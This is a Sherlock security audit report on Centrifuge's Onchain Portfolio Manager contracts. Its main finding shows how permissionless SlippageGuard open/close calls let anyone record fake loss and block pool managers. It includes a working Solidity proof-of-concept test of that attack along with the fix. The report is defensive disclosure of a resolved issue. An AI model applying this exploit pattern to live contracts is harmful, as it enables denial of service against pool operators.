SHERLOCK

Security Review For Centrifuge



Collaborative Audit Prepared For: **Centrifuge**
Lead Security Expert(s): **0x52**
0xeix
Date Audited: **April 6 - April 9, 2026**

Introduction

This security review covers the Onchain Portfolio Manager, a Weiroll based execution engine that authorizes whole scripts via Merkle proofs, with a stateBitmap that pins governance approved state elements while allowing strategist supplied runtime inputs. It adds callback support through executeCallback() and a FlashLoanHelper pattern so flash loan driven strategies can safely re enter execution using pre committed callback hashes and expected callers. It also introduces an ERC 6909 AccountingToken and updates OnOffRamp and OracleValuation to improve accounting and valuation for in flight assets, including cross chain bridging receipts and spoke side price updates, with additional helper and guard contracts for slippage bounds, approval cleanup, and circuit breaking.

Scope

Repository: centrifuge/protocol-internal

Audited Commit: 160b2611ebcc06873c59749a9b5c570e8e1bc382

Final Commit: 87c358fa52bea91017fc3a848bc07db815eed91c

Files:

- src-ir/OnchainPM.sol
- src/managers/spoke/AccountingToken.sol
- src/managers/spoke/FlashLoanHelper.sol
- src/managers/spoke/guards/ApprovalGuard.sol
- src/managers/spoke/guards/SlippageGuard.sol
- src/managers/spoke/OnOffRamp.sol
- src/managers/spoke/ScriptHelpers.sol
- src/misc/libraries/TransientArrayLib.sol
- src/valuations/OracleValuation.sol

Final Commit Hash

87c358fa52bea91017fc3a848bc07db815eed91c

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
0	1	2

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue M-1: SlippageGuard allows malicious users to create fake loss and DoS managers [RESOLVED]

Source: https://github.com/sherlock-audit/2026-04-centrifuge-update-apr-6th-2026/issues/10

Summary

`SlippageGuard` snapshots and compares `balanceSheet.availableBalanceOf(...)`, but `availableBalanceOf` can be manipulated by reservation-only accounting changes. Because `open` and `close` are permissionless, a malicious user can manufacture false period loss and consume the pool's slippage budget for the active window. The recorded loss can also be magnified by repeating the same asset in the `assets` array.

Vulnerability Detail

`AsyncVault.requestDeposit` first asks `AsyncRequestManager` to process the request and only then transfers tokens into the pool escrow:

AsyncVault.sol#L43-L50:

```
function requestDeposit(uint256 assets, address controller, address owner) public
↪  returns (uint256) {
    require(owner == msg.sender || isOperator[owner][msg.sender], InvalidOwner());
    require(IERC20(asset).balanceOf(owner) >= assets, InsufficientBalance());

    require(asyncManager().requestDeposit(this, assets, controller, owner,
    ↪  msg.sender), RequestDepositFailed());
    SafeTransferLib.safeTransferFrom(asset, owner,
    ↪  address(baseManager.globalEscrow()), assets);

    emit DepositRequest(controller, owner, REQUEST_ID, msg.sender, assets);
```

This means the async manager can mutate availability accounting before the request is later reconciled through the approval path.

`AsyncRequestManager.requestDeposit` reserves the asset immediately:

AsyncRequestManager.sol#L84-L106:

```
function requestDeposit(IBaseVault vault_, uint256 assets, address controller,
↪  address, address)
    public
    auth
    returns (bool)
{
    ...
```

```
    _sendRequest(vault_, RequestMessageLib.DepositRequest(controller.toBytes32(),
    ↪  assets_).serialize());

    VaultDetails memory vaultDetails = vaultRegistry.vaultDetails(vault_);
    PoolId poolId = vault_.poolId();
    ShareClassId scId = vault_.scId();
    balanceSheet.reserve(
        poolId, scId, vaultDetails.asset, vaultDetails.tokenId, assets_,
        ↪  address(this), REASON_DEPOSIT
    );
```

This reservation is not a realized outflow. It only marks the asset as unavailable until the request is approved or cancelled.

`PoolEscrow.reserve` increases `holding.reserved`, and `availableBalanceOf` returns `total - reserved` clamped at zero:

PoolEscrow.sol#L54-L89:

```
function reserve(ShareClassId scId, address asset, uint256 tokenId, uint128 value,
↪  address caller, uint32 reason)
    external
    auth
{
    Holding storage holding_ = holding[scId][asset][tokenId];

    uint128 newReservedAmount = reservedBy[scId][caller][reason][asset][tokenId] +
    ↪  value;
    reservedBy[scId][caller][reason][asset][tokenId] = newReservedAmount;
    holding_.reserved += value;
}

function availableBalanceOf(ShareClassId scId, address asset, uint256 tokenId)
↪  public view returns (uint128) {
    Holding storage holding_ = holding[scId][asset][tokenId];
    if (holding_.total < holding_.reserved) return 0;
    return holding_.total - holding_.reserved;
}
```

So after `requestDeposit`, `availableBalanceOf` decreases because `holding.total` has not yet been increased by the later approval path, while `holding.reserved` has already increased.

`SlippageGuard` snapshots and compares exactly this `availableBalanceOf` value:

SlippageGuard.sol#L65-L146:

```
function open(PoolId poolId, ShareClassId scId, AssetEntry[] calldata assets)
↪  external {
    ...
    uint128 balance = balanceSheet.availableBalanceOf(poolId, scId, asset, tokenId);
```

```
    TransientStorageLib.tstore(bytes32(PRE_BASE_SLOT + i), uint256(balance));
}

function close(PoolId poolId, ShareClassId scId, uint16 maxSlippageBps) external {
    ...
    (uint256 withdrawn, uint256 deposited) = _computeDeltas(poolId, scId,
    ↪  poolDecimals);
    if (withdrawn > 0) {
        uint256 loss = withdrawn > deposited ? withdrawn - deposited : 0;
        ...
        if (loss > 0) {
            _trackPeriodLoss(poolId, scId, loss.toUint128());
        }
    }
}

function _computeDeltas(PoolId poolId, ShareClassId scId, uint8 poolDecimals)
    internal
    view
    returns (uint256 withdrawn, uint256 deposited)
{
    ...
    uint128 pre = uint128(TransientStorageLib.tloadUint256(bytes32(PRE_BASE_SLOT +
    ↪  i)));
    uint128 post = balanceSheet.availableBalanceOf(poolId, scId, asset, tokenId);
    ...
    if (post < pre) {
        withdrawn += PricingLib.assetToPoolAmount(
            pre - post, assetDecimals, poolDecimals, price, MathLib.Rounding.Up
        );
    } else if (post > pre) {
        deposited += PricingLib.assetToPoolAmount(
            post - pre, assetDecimals, poolDecimals, price, MathLib.Rounding.Down
        );
    }
}
```

Because `SlippageGuard` interprets any drop in `availableBalanceOf` as a withdrawal, a reservation-only `requestDeposit` that occurs between `open` and `close` is treated as a real loss. Since `open` and `close` are permissionless, an attacker does not need to interfere during a legitimate manager transaction. They can call `open`, trigger a user-facing reservation-changing flow such as `requestDeposit`, and then call `close` themselves with a permissive `maxSlippageBps` to persist false loss into `period.cumulativeLoss`. That poisoned period budget then applies to all later manager executions in the same period.

The loss can be magnified further because `open` stores every user-supplied `AssetEntry` without deduplication and `_computeDeltas` sums each entry independently:

SlippageGuard.sol#L71-L81:

```
// NOTE: Duplicate asset entries would inflate deposited values and mask losses.
// Hub managers must not approve scripts that pass duplicate assets.
for (uint256 i; i < assets.length; i++) {
    address asset = assets[i].asset;
    uint256 tokenId = assets[i].tokenId;

    TransientArrayLib.push(ASSETS_SLOT, bytes32(uint256(uint160(asset))));
    TransientArrayLib.push(TOKEN_IDS_SLOT, bytes32(tokenId));

    uint128 balance = balanceSheet.availableBalanceOf(poolId, scId, asset, tokenId);
    TransientStorageLib.tstore(bytes32(PRE_BASE_SLOT + i), uint256(balance));
}
```

SlippageGuard.sol#L123-L145:

```
bytes32[] memory assets = TransientArrayLib.getBytes32(ASSETS_SLOT);
bytes32[] memory tokenIds = TransientArrayLib.getBytes32(TOKEN_IDS_SLOT);

for (uint256 i; i < assets.length; i++) {
    ...
    uint128 pre = uint128(TransientStorageLib.tloadUint256(bytes32(PRE_BASE_SLOT +
    ↪  i)));
    uint128 post = balanceSheet.availableBalanceOf(poolId, scId, asset, tokenId);
    ...
    if (post < pre) {
        withdrawn += PricingLib.assetToPoolAmount(
            pre - post, assetDecimals, poolDecimals, price, MathLib.Rounding.Up
        );
    }
}
```

If the same `(asset, tokenId)` pair is repeated `N` times, the same `availableBalanceOf` drop is counted `N` times. This lets an attacker inflate a small fake loss into a much larger recorded period loss and consume the entire `maxPeriodLoss` budget with very little capital.

Impact

A malicious user can independently pre-consume the slippage budget for the current period by recording false period loss outside any legitimate manager execution. Once enough fake loss has been recorded, later manager operations that incur even small real slippage will revert with `PeriodLossExceeded` for the remainder of the period. Duplicate asset entries let the attacker magnify the recorded loss and reach this DoS threshold easily.

Code Snippet

SlippageGuard.sol#L65-L146

AsyncVault.sol#L43-L50

AsyncRequestManager.sol#L84-L106

PoolEscrow.sol#L54-L89

SlippageGuard.sol#L71-L81

SlippageGuard.sol#L123-L145

PoC

Insert the following file at `test/managers/spoke/integration/SlippageGuardPoC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {ERC20} from "../../../../src/misc/ERC20.sol";

import {IBalanceSheet} from
↪  "../../../../src/core/spoke/interfaces/IBalanceSheet.sol";
import {VaultKind} from "../../../../src/core/spoke/interfaces/IVault.sol";

import {AsyncVault} from "../../../../src/vaults/AsyncVault.sol";

import {BaseTest} from "../../../core/spoke/integration/BaseTest.sol";

import {SlippageGuard} from
↪  "../../../../src/managers/spoke/guards/SlippageGuard.sol";
import {ISlippageGuard, AssetEntry} from
↪  "../../../../src/managers/spoke/guards/interfaces/ISlippageGuard.sol";

contract AsyncDepositRequester {
    ERC20 public immutable asset;

    constructor(ERC20 asset_) {
        asset = asset_;
    }

    function requestDeposit(AsyncVault vault, uint256 assets) external {
        asset.approve(address(vault), assets);
        vault.requestDeposit(assets, address(this), address(this));
    }
}

contract SlippageGuardPoCTest is BaseTest {
    uint256 internal constant INITIAL_POOL_LIQUIDITY = 1_000e6;
```

```
    uint256 internal constant ATTACK_DEPOSIT = 100e6;
    uint128 internal constant MAX_PERIOD_LOSS = type(uint128).max;
    uint32 internal constant PERIOD_DURATION = 1 days;

    function _logState(
        string memory label,
        uint128 availableBalance,
        uint128 cumulativeLoss
    ) internal {
        emit log_string(label);
        emit log_named_uint("availableBalance", uint256(availableBalance));
        emit log_named_uint("cumulativeLoss", uint256(cumulativeLoss));
    }

    function testDepositRequestLossDOS() public {
        (, address vault_,) = deploySimpleVault(VaultKind.Async);
        AsyncVault vault = AsyncVault(vault_);

        SlippageGuard guard = new SlippageGuard(spoke, IBalanceSheet(balanceSheet),
        ↪  address(contractUpdater));
        AsyncDepositRequester requester = new AsyncDepositRequester(erc20);

        contractUpdater.trustedCall(vault.poolId(), vault.scId(), address(guard),
        ↪  abi.encode(MAX_PERIOD_LOSS, PERIOD_DURATION));

        deposit(address(vault), investor, INITIAL_POOL_LIQUIDITY);

        centrifugeChain.updateMember(vault.poolId().raw(), vault.scId().raw(),
        ↪  address(requester), type(uint64).max);
        erc20.mint(address(requester), ATTACK_DEPOSIT);
        vm.warp(block.timestamp + PERIOD_DURATION + 1);

        uint128 preAvailable = balanceSheet.availableBalanceOf(vault.poolId(),
        ↪  vault.scId(), address(erc20), 0);
        (uint128 lossBefore, uint48 periodStartBefore) =
        ↪  guard.period(vault.poolId(), vault.scId());

        assertEq(preAvailable, INITIAL_POOL_LIQUIDITY);
        assertEq(lossBefore, 0);
        assertEq(periodStartBefore, 0);
        _logState("before open", preAvailable, lossBefore);

        AssetEntry[] memory assets = new AssetEntry[](1);
        assets[0] = AssetEntry(address(erc20), 0);

        guard.open(vault.poolId(), vault.scId(), assets);
        requester.requestDeposit(vault, ATTACK_DEPOSIT);

        uint128 postAvailable = balanceSheet.availableBalanceOf(vault.poolId(),
        ↪  vault.scId(), address(erc20), 0);
```

```
        assertEq(postAvailable, INITIAL_POOL_LIQUIDITY - ATTACK_DEPOSIT);
        _logState("after requestDeposit before close", postAvailable, lossBefore);

        guard.close(vault.poolId(), vault.scId(), 10_000);

        (uint128 lossAfter, uint48 periodStartAfter) = guard.period(vault.poolId(),
        ↪  vault.scId());
        assertEq(lossAfter, ATTACK_DEPOSIT);
        assertEq(periodStartAfter, uint48(block.timestamp));
        _logState("after close", postAvailable, lossAfter);
    }
}
```

Observed output:

```
before open
availableBalance: 1000000000
cumulativeLoss: 0
after requestDeposit before close
availableBalance: 900000000
cumulativeLoss: 0
after close
availableBalance: 900000000
cumulativeLoss: 100000000
```

Tool Used

Manual Review

Recommendation

`SlippageGuard` should not be permissionless. The intended caller is the pool's `OnchainPM`, and `OnchainPMFactory` already exposes a deterministic `getAddress(poolId)` helper. `open` and `close` should therefore only accept calls from the predicted `OnchainPM` address for the supplied `poolId`, which prevents arbitrary users from manufacturing fake period loss on their own schedule.

```
diff --git a/src/managers/spoke/guards/SlippageGuard.sol
↪  b/src/managers/spoke/guards/SlippageGuard.sol
@@
+import {IOnchainPMFactory} from "../interfaces/IOnchainPMFactory.sol";
+
+IOnchainPMFactory public immutable onchainPMFactory;
+
+constructor(
+    ISpoke spoke_,
```

```
+    IBalanceSheet balanceSheet_,
+    address contractUpdater_,
+    IOnchainPMFactory onchainPMFactory_
+) {
+    spoke = spoke_;
+    balanceSheet = balanceSheet_;
+    contractUpdater = contractUpdater_;
+    onchainPMFactory = onchainPMFactory_;
+}
+
+function _authorizedPM(PoolId poolId) internal view returns (address) {
+    return onchainPMFactory.getAddress(poolId);
+}
+
 function open(PoolId poolId, ShareClassId scId, AssetEntry[] calldata assets)
  ↪  external {
+    require(msg.sender == _authorizedPM(poolId), NotAuthorized());
     require(TransientArrayLib.length(ASSETS_SLOT) == 0, InProgress());
     ...
 }
+
 function close(PoolId poolId, ShareClassId scId, uint16 maxSlippageBps) external {
+    require(msg.sender == _authorizedPM(poolId), NotAuthorized());
     require(TransientArrayLib.length(ASSETS_SLOT) > 0, NotOpen());
     ...
 }
```

Issue L-1: CircuitBreakerGuard#delta contains redundant `windowStart == 0` check [RESOLVED]

Source: https://github.com/sherlock-audit/2026-04-centrifuge-update-apr-6th-2026/issues/11

Summary

`CircuitBreakerGuard.delta` checks `s.windowStart == 0 || block.timestamp - s.windowStart > window`, but the `s.windowStart == 0` branch is not needed in normal operation. On first use, `s.windowStart` is `0`, so `block.timestamp - s.windowStart > window` already resets the anchor for any practical `window` such as `1 hours` or `1 days`.

Recommendation

Remove the redundant `s.windowStart == 0` condition:

```
function delta(bytes32 key, uint256 currentValue, uint256 newValue, uint256
↪  maxDeltaBps, uint256 window) external {
    if (currentValue == 0) return;

    uint256 anchor;
    ReferenceState storage s = refs[msg.sender][key][window];
-    if (s.windowStart == 0 || block.timestamp - s.windowStart > window) {
+    if (block.timestamp - s.windowStart > window) {
        anchor = currentValue;
        s.anchor = currentValue.toUint128();
        s.windowStart = uint64(block.timestamp);
    } else {
        anchor = s.anchor;
    }
}
```

Issue L-2: `InvalidAmount` error declared but never used [RESOLVED]

Source: https://github.com/sherlock-audit/2026-04-centrifuge-update-apr-6th-2026/issues/12

Summary

The `IOnOffRamp` interface declares error `InvalidAmount()` but no require or revert in the `OnOffRamp` implementation (or anywhere else in the codebase) references it.

Vulnerability Detail

Consider the code:

https://github.com/sherlock-audit/2026-04-centrifuge-update-apr-6th-2026/blob/main/protocol-internal/src/managers/spoke/interfaces/IOnOffRamp.sol#L28

```
error InvalidAmount();
```

However, in the OnOffRamp contract, no such error is used.

Impact

Absence of the intended guard allows zero-amount deposits/withdrawals that waste gas and pollute event logs.

Tool Used

Manual Review

Recommendation

Consider adding zer-amount check in the `deposit` function, for instance, and therefore using the error itself:

```
+error InvalidAmount();
```

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.